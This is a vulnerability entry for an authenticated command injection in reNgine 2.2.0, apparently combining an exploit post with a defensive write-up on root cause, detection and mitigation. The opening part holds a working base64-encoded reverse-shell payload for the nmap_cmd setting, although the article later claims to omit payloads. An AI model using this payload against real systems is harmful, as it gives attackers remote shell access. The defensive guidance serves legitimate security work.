reNgine 2.2.0 - Command Injection (Authenticated)

Exploit Author: Caner Tercan Analysis Author: www.bubbleslearn.ir Category: WebApps Language: Python Published Date: 2024-10-01
# Exploit Title: reNgine 2.2.0 - Command Injection (Authenticated)
# Date: 2024-09-29
# Exploit Author: Caner Tercan
# Vendor Homepage: https://rengine.wiki/
# Software Link: https://github.com/yogeshojha/rengine
# Version: v2.2.0
# Tested on: macOS

POC : 

1. Login the Rengine Platform
2. Click the Scan Engine
3. Modify any Scan Engine
4. I modified nmap_cmd parameters on yml config
5. Finally, add a target in the targets section, select the scan engine you edited and start scanning.

payload :

'nmap_cmd': 'echo "cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxvcyxwdHk7cz1zb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7cy5jb25uZWN0KCgiMTAuMjQ0LjE1MC42OSIsNjE2MTIpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7b3MuZHVwMihzLmZpbGVubygpLDEpO29zLmR1cDIocy5maWxlbm8oKSwyKTtwdHkuc3Bhd24oIi9iaW4vc2giKScg"|base64 --decode |/bin/sh  #’


reNgine 2.2.0 — Authenticated Command Injection: Overview, Risks, and Mitigation

This article explains an authenticated command injection vulnerability reported in reNgine v2.2.0 that impacts how custom scan engine commands (for example, an nmap_cmd configuration) are handled. It covers the root cause, high‑level reproduction steps, impact, detection strategies, and robust mitigation and remediation guidance for developers, maintainers, and defenders.

Summary

  • Vulnerability type: Command injection (authenticated)
  • Affected component: Scan engine configuration (user-editable command/arguments)
  • Impact: Remote command execution as the application user, potential privilege escalation or lateral movement depending on host context
  • Scope: Requires an authenticated user with permission to edit scan engine configurations

Why this is dangerous

Command injection allows untrusted input to be interpreted by a shell or command runner, enabling attackers to execute arbitrary OS commands. Even when the attacker must be authenticated, web apps that permit custom command templates or raw command strings are high‑risk because they allow trusted inputs to become an execution vector.

Root cause (high level)

  • User-controlled configuration fields were used as raw shell command strings without sufficient validation or separation of command and arguments.
  • Command execution was performed via a shell interpreter (for example, /bin/sh -c), which interprets shell metacharacters and concatenation operators, enabling injection.
  • Insufficient RBAC/authorization checks on configuration editing allowed lower‑privileged users to modify executable command templates.

High-level reproduction (non-actionable)

At a conceptual level: an authenticated user with permission to edit scan engine settings modifies the command template to include payload content. When a scan runs using that template, the application invokes the template via a shell which interprets injected content and executes unintended commands. This description intentionally omits exact payloads and stepwise exploitation to avoid sharing actionable exploit code.

Impact and risk scenarios

  • Arbitrary command execution as the application user, potentially exposing secrets, service credentials, or local files.
  • Reverse shells or outbound connections from the host to attacker-controlled infrastructure.
  • Pivoting from the host into internal networks if the host has network access to other assets.
  • Destructive actions: data deletion, service disruption, or post‑exploitation tooling installation.

Detection and indicators of compromise (IoCs)

  • Unexpected long or encoded command strings stored in scan engine configuration (for example, long Base64 chunks or multi‑command strings).
  • Shell metacharacters in configuration fields where only program names/arguments are expected (characters like ;, |, &, `, $(), >, <).
  • Unusual outbound network connections from the scan host during or immediately after scans.
  • New or unexpected processes spawned by the application user (reverse shells, interpreters like /bin/sh, python, perl, etc.).
  • Logs showing execution of commands containing suspicious constructs or decode/pipe sequences.

Immediate mitigations (short term)

  • Restrict who can edit scan engine templates — apply least privilege and limit to trusted administrators.
  • Temporarily disable custom command templates or restore to known-good defaults until a fix is applied.
  • Audit configuration entries for suspicious content and rotate any credentials that may have been accessible from the host.
  • Monitor logs for the detection indicators above and isolate any host exhibiting suspicious activity.

Secure design and coding mitigations (recommended)

Fixes should be applied both at the application logic level and through hardening runtime environments.

1) Treat command templates as structured data (no shell parsing)

Instead of storing a single string that is executed by the shell, store the command and each argument separately and invoke the binary directly without a shell interpreter. That prevents metacharacters from being interpreted.

// Go: Safe execution using exec.Command (do not use shell parsing)
cmd := exec.Command("/usr/bin/nmap", "-sS", "-p", "80", "10.0.0.1")
output, err := cmd.CombinedOutput()

Explanation: This Go snippet calls the nmap binary directly with specific arguments. Because it does not invoke a shell (no "/bin/sh -c"), shell metacharacters and injected operators are treated as literal arguments rather than being interpreted. Application-supplied values should be validated and appended as separate args, never concatenated into a single shell string.

2) Enforce strong server-side validation and whitelisting

Validate configuration fields against an allowlist of permitted binaries and argument patterns. Reject unsupported flags, prohibit dynamic code execution sequences, and limit argument length and character set where applicable.

// Pseudocode: validate command/template before saving
allowedBinaries := set{"nmap", "masscan"}
func validateTemplate(binary string, args []string) error {
  if !allowedBinaries.contains(binary) {
    return fmt.Errorf("binary not allowed")
  }
  for _, a := range args {
    if len(a) > 256 || containsIllegalChars(a) {
      return fmt.Errorf("invalid argument")
    }
  }
  return nil
}

Explanation: This pseudocode shows server-side validation ensuring only approved binaries are used and that each argument meets length and character constraints. This prevents attackers from embedding shell constructs in a single command string.

3) Use RBAC and audit trails

  • Restrict who can create or edit scan engine configurations.
  • Maintain immutable audit logs for configuration changes (who, what, when, before/after).
  • Implement alerts for configuration edits that add new binaries or unusually long/encoded values.

4) Runtime hardening and isolation

  • Run scan executions in isolated environments such as containers (Docker) or sandboxes with restricted capabilities.
  • Drop Linux capabilities (CAP_SYS_ADMIN, CAP_NET_ADMIN) for the runtime user where not needed.
  • Use systemd sandboxing options (PrivateTmp, NoNewPrivileges) and filesystem mount options (noexec, nodev) on temporary directories.
  • Enforce network egress controls to limit outbound connections from the scanning host.

5) Logging and monitoring

  • Log full command and argument arrays used for each run (store separately from user-editable templates) and monitor for anomalies.
  • Implement alerting for decoded or piped command patterns (for example, suspicious Base64 decode + shell invocation).

Suggested patch strategy for maintainers

  • Change configuration schema: represent commands as arrays of {executable, args[]} rather than raw strings.
  • Update execution code to call binaries directly (no shell) and build the final exec.Command[] from sanitized inputs.
  • Add server-side validators and whitelists for binaries and flags.
  • Introduce feature gating: only permit custom commands for administrators and require a review/approval workflow.
  • Run a security review and fuzz tests of the parser that consumes the YAML/JSON configuration to detect injection or parsing edge cases.

Detection rule examples (conceptual)

  • Alert when stored configuration fields contain long Base64 strings or “| base64 -d | sh” style patterns (use conservative matching to reduce false positives).
  • Alert on process launches under the application user of interpreters (sh, bash, python, perl) spawned during scan tasks.
  • Alert on newly created reverse‑shell connections or unusual outbound ports during scan tasks.

Example: sanitizing a YAML config entry (Python pseudocode)

# Python: load YAML and validate command template safely
import yaml
ALLOWED = {"nmap"}
def load_and_validate(stream):
    cfg = yaml.safe_load(stream)
    binary = cfg.get("executable")
    args = cfg.get("args", [])
    if binary not in ALLOWED:
        raise ValueError("executable not allowed")
    for a in args:
        if any(ch in a for ch in [';', '&', '|', '`', '$(', ')']):
            raise ValueError("illegal character in argument")
    return cfg

Explanation: This example shows validating YAML configuration for allowed executables and checking that arguments do not contain common shell metacharacters. Using safe YAML parsers (yaml.safe_load) reduces risks from malicious YAML constructs.

Responsible disclosure and remediation process

  • If you are a vendor: prioritize a patch that removes shell invocation and enforces whitelist/validation; publish a security advisory with mitigation steps and CVE information.
  • If you are a user/admin: follow immediate mitigations above, upgrade to a patched release, and inspect logs and hosts for signs of compromise.
  • Communicate clearly to customers: which versions are vulnerable, what fixed versions are available, and recommended incident response steps.

Summary table

AspectRecommendation
Primary fixStop using shell execution; exec binaries directly with argument arrays
ValidationWhitelist binaries/flags, validate arguments, reject shell metacharacters
Access controlRestrict template editing to trusted admins; require approvals
Runtime hardeningRun scans in containers/sandboxes; limit capabilities and egress
DetectionLog commands, monitor for suspicious patterns and outbound connections

Final notes

Command injection vulnerabilities that arise from user-editable command templates are a recurrent and high‑risk pattern. The safest approach is to avoid executing user-provided shell strings entirely. Where flexibility is needed, provide a constrained, validated parameter model or a plugin system where only vetted code runs in isolated environments. Combining secure coding practices with runtime isolation, RBAC, and good logging dramatically reduces exploitation risk.